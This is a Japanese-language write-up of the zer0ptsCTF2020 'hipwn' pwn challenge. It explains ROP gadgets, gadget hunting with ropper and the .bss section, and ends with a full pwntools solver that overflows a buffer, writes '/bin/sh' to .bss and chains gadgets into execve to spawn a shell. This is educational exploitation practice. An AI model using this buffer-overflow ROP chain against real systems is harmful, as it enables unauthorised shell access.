hipwn - zer0ptsCTF2020(My solver)

hipwn - zer0ptsCTF2020(Official GitLab)

方針

 .bss section に/bin/shという文字列を置いて、 Return Oriented Programming(ROP)を組んで、 execve("/bin/sh", 0, 0)を実行する。

ROP gadgetとは

 gadgetとは、pop rdi; ret;などのret;で終わるコード片のことです。

今回、必要なgadgetはrdi rsi rdx rax syscall です。

gadget役割
rdi第1引数
rsi第2引数
rdx第3引数
rcx第4引数
r8第5引数
::
raxシステムコール番号
syscallシステムコール

また、execveのシステムコール番号は59である。

.bss section とは

 rw(read and write)が可能な初期値を持たない変数を格納するためのセクションである。 .bss sectionを使う理由は、rwできて便利だから。

通常の入力に"/bin/sh"を送って、バッファのアドレスを指定してもいいと思う。

gadgetを探す旅🐈

 ropperを使って、それぞれのgadgetを探します。

例)

$ ropper -f chall --search "pop rdi;"

0x000000000040141c: pop rdi; ret;
rop_pop_rdi = 0x0040141c
rop_pop_rax = 0x00400121
rop_pop_rsi_r15 = 0x0040141a
rop_pop_rdx = 0x004023f5
rop_syscall = 0x004024dd

IUPAP命名法

 余談ですが、ROP gadgetを書くときは、 わかりやすいようにIUPAP命名法にしたがいます。

gets(bss)に相当するROP

 ROPを組むときは、スタックのLIFOを思い出します。

pld += p64(rop_pop_rdi)
pld += p64(elf.bss())
pld += p64(addr_gets)

gets_bss

ここで、.bss section に対して入力が開くので、"/bin/sh"を入力します。(参照:solver)

execve("/bin/sh", 0, 0)に相当するROP

 gets(bss)と同様にやります。

pld += p64(rop_pop_rdi)
pld += p64(elf.bss())
pld += p64(rop_pop_rsi_r15)
pld += p64(0)
pld += p64(0)
pld += p64(rop_pop_rdx)
pld += p64(0)
pld += p64(rop_pop_rax)
pld += p64(59) # SYS_execve
pld += p64(rop_syscall)

Solver

from pwn import *

file = "./chall"
context(os = 'linux', arch = 'amd64')
context.log_level = 'debug'

io = process(file)
elf = ELF(file)

rop_pop_rdi = 0x0040141c
rop_pop_rax = 0x00400121
rop_pop_rsi_r15 = 0x0040141a
rop_pop_rdx = 0x004023f5
rop_syscall = 0x004024dd
addr_gets = 0x004004ee

pld = b""
pld += b"A"*264
# get(bss)
pld += p64(rop_pop_rdi)
pld += p64(elf.bss())
pld += p64(addr_gets)
# execve(.bss, 0, 0)
pld += p64(rop_pop_rdi)
pld += p64(elf.bss()) #Line36 Input "/bin/sh"
pld += p64(rop_pop_rsi_r15)
pld += p64(0)
pld += p64(0)
pld += p64(rop_pop_rdx)
pld += p64(0)
pld += p64(rop_pop_rax)
pld += p64(59) # SYS_execve
pld += p64(rop_syscall)

io.sendlineafter("name?", pld)
io.sendline("/bin/sh\x00")

io.interactive()